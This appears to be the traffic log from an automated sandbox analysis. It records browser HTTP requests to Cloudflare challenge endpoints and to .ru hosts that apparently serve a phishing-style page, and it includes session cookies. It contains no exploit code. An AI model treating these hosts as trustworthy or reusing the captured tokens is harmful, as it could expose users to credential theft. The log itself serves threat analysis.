Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ojjk.threaw.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ojjk.threaw.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://ojjk.threaw.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/nxntx/0x4AAAAAABAfAYT7TW9UJ31J/auto/fbE/new/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://ojjk.threaw.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=d2S46JEZgEGkngyhJW2M8JGpJyn7hk7PRaCOmANsRek-1742916427-1.0.1.1-9Hs3y9RkJDM3z2zvyyfBLwACgKYEw3JlIaWL30vglOV5yK11D6XqPWTVJGF1crZPvQsNjUaUeaDAaKFjR45n8e5_.rDCpzi_1P3jozWf7U8
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=925f6e3cbb80917b&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/nxntx/0x4AAAAAABAfAYT7TW9UJ31J/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/nxntx/0x4AAAAAABAfAYT7TW9UJ31J/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/326701419:1742912882:gQ8gn12rH__0TKEFoBSzNBo90wn3IU5W6VoNnnrwKjU/925f6e3cbb80917b/L6MRTPzTkLVj0QVRN7KndrPsg.bPmxhHqfVUaJayn9A-1742916428-1.1.1.1-6wSSPfBrxBFjdw4z80eTc_SVzwn8XaJnlWuyVYWjVnyoDtMaN0BcrI2vfIlUnV3x HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/925f6e3cbb80917b/1742916430008/a244d9cbd59b4264723de8a796ca4bd75012d775f4f277796f3de31ccbdd0e79/F37XGZ-0um2z5-Y HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/nxntx/0x4AAAAAABAfAYT7TW9UJ31J/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/925f6e3cbb80917b/1742916430009/KdR7JbnFznJVHjZ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/nxntx/0x4AAAAAABAfAYT7TW9UJ31J/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/925f6e3cbb80917b/1742916430009/KdR7JbnFznJVHjZ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/326701419:1742912882:gQ8gn12rH__0TKEFoBSzNBo90wn3IU5W6VoNnnrwKjU/925f6e3cbb80917b/L6MRTPzTkLVj0QVRN7KndrPsg.bPmxhHqfVUaJayn9A-1742916428-1.1.1.1-6wSSPfBrxBFjdw4z80eTc_SVzwn8XaJnlWuyVYWjVnyoDtMaN0BcrI2vfIlUnV3x HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/326701419:1742912882:gQ8gn12rH__0TKEFoBSzNBo90wn3IU5W6VoNnnrwKjU/925f6e3cbb80917b/L6MRTPzTkLVj0QVRN7KndrPsg.bPmxhHqfVUaJayn9A-1742916428-1.1.1.1-6wSSPfBrxBFjdw4z80eTc_SVzwn8XaJnlWuyVYWjVnyoDtMaN0BcrI2vfIlUnV3x HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kella$c421a HTTP/1.1Host: bkh8y.hxnywi.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://ojjk.threaw.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ojjk.threaw.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kella$c421a HTTP/1.1Host: bkh8y.hxnywi.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /BlKkhx/ HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://ojjk.threaw.ru/BlKkhx/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjI0TmxlMVBiaGhndkdKRlU0ZkZiOHc9PSIsInZhbHVlIjoiUG04eTZ0UmxMUWNnQnRuR1pqWTdrRHJPVGovRkpCUi9IQVBFUjljaC82ZTZZRGdqMGUyVmdGRHVObS9tUGFMQmp4dythbHNGWk1RWlJCTkJYWWhGSHAweXFEUUpMOFc1RHhETHJQcTkyWURMQUJ1MlJmR0JTMFRETXdmVnJBREEiLCJtYWMiOiJkZmY2NmY2MGFiNjExNDMwZDMzYzEzMzY1YzUwYjM1YjgzMDM1NzEyNGQzYmZiZTRmMDg4NWJiMGY4MDNmZWExIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik83Z01wZkF6ajFPVzBWVWZXTnVSV2c9PSIsInZhbHVlIjoicUV0OGNpUU9TUVVWQ29PWStaOE4rcm12eXBvSTl0Q2dHYUY3U1U2bjJpKzNlOG5IRXVWbHlNcU1zMElKVTNFNXNCcnZTNWp4bHd2OXV2SEtKem92b1F6YUVOQ3dKME5FaFRnRE9Zdy9IVlpNaEp3S0RQczY5d1BLOWtadnNDZmkiLCJtYWMiOiIwNjhkYzY3ZTdkZDQ1MTIwNzc0ZDRmMDQyNzkzNzE3MmVhN2MxYmMwMDQ2MzcxODU3ODQ3YjY4YTU4YzVjODFjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ciKgVAN5n5uWnV8r0ssDQaxpwZlag HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjI0TmxlMVBiaGhndkdKRlU0ZkZiOHc9PSIsInZhbHVlIjoiUG04eTZ0UmxMUWNnQnRuR1pqWTdrRHJPVGovRkpCUi9IQVBFUjljaC82ZTZZRGdqMGUyVmdGRHVObS9tUGFMQmp4dythbHNGWk1RWlJCTkJYWWhGSHAweXFEUUpMOFc1RHhETHJQcTkyWURMQUJ1MlJmR0JTMFRETXdmVnJBREEiLCJtYWMiOiJkZmY2NmY2MGFiNjExNDMwZDMzYzEzMzY1YzUwYjM1YjgzMDM1NzEyNGQzYmZiZTRmMDg4NWJiMGY4MDNmZWExIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik83Z01wZkF6ajFPVzBWVWZXTnVSV2c9PSIsInZhbHVlIjoicUV0OGNpUU9TUVVWQ29PWStaOE4rcm12eXBvSTl0Q2dHYUY3U1U2bjJpKzNlOG5IRXVWbHlNcU1zMElKVTNFNXNCcnZTNWp4bHd2OXV2SEtKem92b1F6YUVOQ3dKME5FaFRnRE9Zdy9IVlpNaEp3S0RQczY5d1BLOWtadnNDZmkiLCJtYWMiOiIwNjhkYzY3ZTdkZDQ1MTIwNzc0ZDRmMDQyNzkzNzE3MmVhN2MxYmMwMDQ2MzcxODU3ODQ3YjY4YTU4YzVjODFjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ojjk.threaw.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ojjk.threaw.ru/BlKkhx/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlI2QXJ5clp0cC80SVNMbEpEeE4vYkE9PSIsInZhbHVlIjoiVmE5WWNWV0kvdWVYeFpCbFplWG5LczcrSFU4dEhnSVpQUHJMRVd0VFpTQjFCbXM1dHphenpuYk9PUFlnUXF2V3ZTTmJRTmc1Wkg3QWZ4ZTNhbXlmZTg1TjlNUFcrWkQzWnRYUTVvRSt6Zm16ZmZEdllOaFpIdFFMMnI1VXAxcmciLCJtYWMiOiI3YzQ1ODM0MmQzN2Y2NWU0Y2FmYzRiMThhMTRiZTM1NjY2Yzc4Njc1NWVjM2ExNDRiZTRjNzhlMTQ3MWNiOTM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlRuUXRtVmVJV0dNZG00SkUvL0xQb1E9PSIsInZhbHVlIjoidjRCRFp3SzR3aFZwa2lxSDZqY0FScThLeXlsbXhvQ1VMUjgzUmVqd1VNWTVZUENKdWNwYWFHRWJnKzN6Y1pGdDFFVEcwdkxHR0hjV2FaYUc5TUVXMm9LeGZYTWJSd0JxSUVQeGJFUUJ1TytObzhNYTQ2OU5wUVUzY2s1SXVmelIiLCJtYWMiOiI0ZjY3OWFkNDBkNDM4OTgxY2Q0NDYzMWJkMzE5M2RjOTM0NmVhZDY3OWY5MzIzMzNiMTBiZGNhM2ZmNDNkOTc1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rqELAoQiLuhaQVVM12gvPvjW1Je7zylsUi2vns4SpEEYfw HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InF5TmQ2Y0IxaXpvbDBWWG1kNzRiV3c9PSIsInZhbHVlIjoiUFljM09JZ1c0bjZpNTRncklOcVBLSUJxOUFSeFZ3QzhxdTFpckhOUnl5dEJQSE1iajEzV2F4QVlLUzJ0OHc1d1ZaQjY1Z3NQUXFVTzVCbTZwTW54Zk1ydWlrWGVCVWhpK2hvUkIvY0p3OXNqc0ZuUHlHNXRBbVVaa0UwQWQ3azkiLCJtYWMiOiI3YzIwMDgwODViMDNiYWJlYzE2YjgxYThiN2MyNGNlYzRjYzdkMzJlMGI3ZTcxZDY0MzY3YzY0NTEyMmUwNDljIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im9IM1MvaTBoWHI1cFlxc2tmbTFDZHc9PSIsInZhbHVlIjoiSUxlMWQyTnNHb0c1WUl6SlFnV25CTnRuS0s0YzVGRUtSMXlMZTk5R1RNQUhwVE9ZQnFzaWlDWm1tSFBXN2dTeFh5ZUswN1E1MGVZYTR3cktyL3FxdU9yK0JNTVZCV2tMQThKZUw5cGMrdTFyNkRjMnMxZUFMYzVnTUh3aSt5WEEiLCJtYWMiOiJjOGVmODIyOWQzZGJhZDFjMDhjMGU5YWIzZjIwNTI5ZDU0ZmY1MDY4OGI1YjcwYjkyZDMwY2NiYTQ4YTlhOGE0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI HTTP/1.1Host: ojjk.threaw.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://ojjk.threaw.ru/BlKkhx/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InF5TmQ2Y0IxaXpvbDBWWG1kNzRiV3c9PSIsInZhbHVlIjoiUFljM09JZ1c0bjZpNTRncklOcVBLSUJxOUFSeFZ3QzhxdTFpckhOUnl5dEJQSE1iajEzV2F4QVlLUzJ0OHc1d1ZaQjY1Z3NQUXFVTzVCbTZwTW54Zk1ydWlrWGVCVWhpK2hvUkIvY0p3OXNqc0ZuUHlHNXRBbVVaa0UwQWQ3azkiLCJtYWMiOiI3YzIwMDgwODViMDNiYWJlYzE2YjgxYThiN2MyNGNlYzRjYzdkMzJlMGI3ZTcxZDY0MzY3YzY0NTEyMmUwNDljIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im9IM1MvaTBoWHI1cFlxc2tmbTFDZHc9PSIsInZhbHVlIjoiSUxlMWQyTnNHb0c1WUl6SlFnV25CTnRuS0s0YzVGRUtSMXlMZTk5R1RNQUhwVE9ZQnFzaWlDWm1tSFBXN2dTeFh5ZUswN1E1MGVZYTR3cktyL3FxdU9yK0JNTVZCV2tMQThKZUw5cGMrdTFyNkRjMnMxZUFMYzVnTUh3aSt5WEEiLCJtYWMiOiJjOGVmODIyOWQzZGJhZDFjMDhjMGU5YWIzZjIwNTI5ZDU0ZmY1MDY4OGI1YjcwYjkyZDMwY2NiYTQ4YTlhOGE0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /3421dxWNQbepgabxy17D2H8920 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijcyb3dJdkhJYmxOcVNxMDVvOE1kd2c9PSIsInZhbHVlIjoiNFVDdUltcTRWcXloWU95WFRlS21FZFhFMHNvbjg5S0FnSFpDT2hLMnVtVzhna1ErQkxEZlRRNUpLNG85N1E1bWVjc0dCWnphaEduZVk0Rkc5UVUvbUtKU2g1eVFHSzdoeW5uNFc4Qm9COVAzV0liSkE0UnRLNDV4RGUwWkZRRkIiLCJtYWMiOiJiZDhlMTE1ZGQ0OTM1NmM0M2I1ZWMyZGZhOWZjMmI3ZWQzMDhiODAwMzJjMzgwNjE3MGM2ZjUyMTQ1ODk0MjBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNNbDlMSlVVSmUyOXlYbnJDQU1VclE9PSIsInZhbHVlIjoiMTg5M25UVXY0YTV0alFPRFRZU2xyeTE3S2s3ZmlZMWJKcGVFTm9rNnhLTklwQXNTUGZqNi9jR2NZUjVleEJ5bUg2dC8rVXBXYW5obTNjMkdZUXdOeVh0MXVERktCWFBGWjMwNlFnMzFTVXpkOG1YN1ZtK3RTLzlBVkZGVEhtSHgiLCJtYWMiOiI2MjE2NWEyNThhN2U0MmJiNGQwNzA5OWE0ZWI0YWIzMzc1NjliYTVjZTQ4NTIyMDNjM2QzZDM5ODliZjU3NzgyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /abxkcM3R4q1pqBAxcd30 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijcyb3dJdkhJYmxOcVNxMDVvOE1kd2c9PSIsInZhbHVlIjoiNFVDdUltcTRWcXloWU95WFRlS21FZFhFMHNvbjg5S0FnSFpDT2hLMnVtVzhna1ErQkxEZlRRNUpLNG85N1E1bWVjc0dCWnphaEduZVk0Rkc5UVUvbUtKU2g1eVFHSzdoeW5uNFc4Qm9COVAzV0liSkE0UnRLNDV4RGUwWkZRRkIiLCJtYWMiOiJiZDhlMTE1ZGQ0OTM1NmM0M2I1ZWMyZGZhOWZjMmI3ZWQzMDhiODAwMzJjMzgwNjE3MGM2ZjUyMTQ1ODk0MjBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNNbDlMSlVVSmUyOXlYbnJDQU1VclE9PSIsInZhbHVlIjoiMTg5M25UVXY0YTV0alFPRFRZU2xyeTE3S2s3ZmlZMWJKcGVFTm9rNnhLTklwQXNTUGZqNi9jR2NZUjVleEJ5bUg2dC8rVXBXYW5obTNjMkdZUXdOeVh0MXVERktCWFBGWjMwNlFnMzFTVXpkOG1YN1ZtK3RTLzlBVkZGVEhtSHgiLCJtYWMiOiI2MjE2NWEyNThhN2U0MmJiNGQwNzA5OWE0ZWI0YWIzMzc1NjliYTVjZTQ4NTIyMDNjM2QzZDM5ODliZjU3NzgyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveOrigin: https://ojjk.threaw.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijcyb3dJdkhJYmxOcVNxMDVvOE1kd2c9PSIsInZhbHVlIjoiNFVDdUltcTRWcXloWU95WFRlS21FZFhFMHNvbjg5S0FnSFpDT2hLMnVtVzhna1ErQkxEZlRRNUpLNG85N1E1bWVjc0dCWnphaEduZVk0Rkc5UVUvbUtKU2g1eVFHSzdoeW5uNFc4Qm9COVAzV0liSkE0UnRLNDV4RGUwWkZRRkIiLCJtYWMiOiJiZDhlMTE1ZGQ0OTM1NmM0M2I1ZWMyZGZhOWZjMmI3ZWQzMDhiODAwMzJjMzgwNjE3MGM2ZjUyMTQ1ODk0MjBiIiwidGFnIjoiIn0%3D; 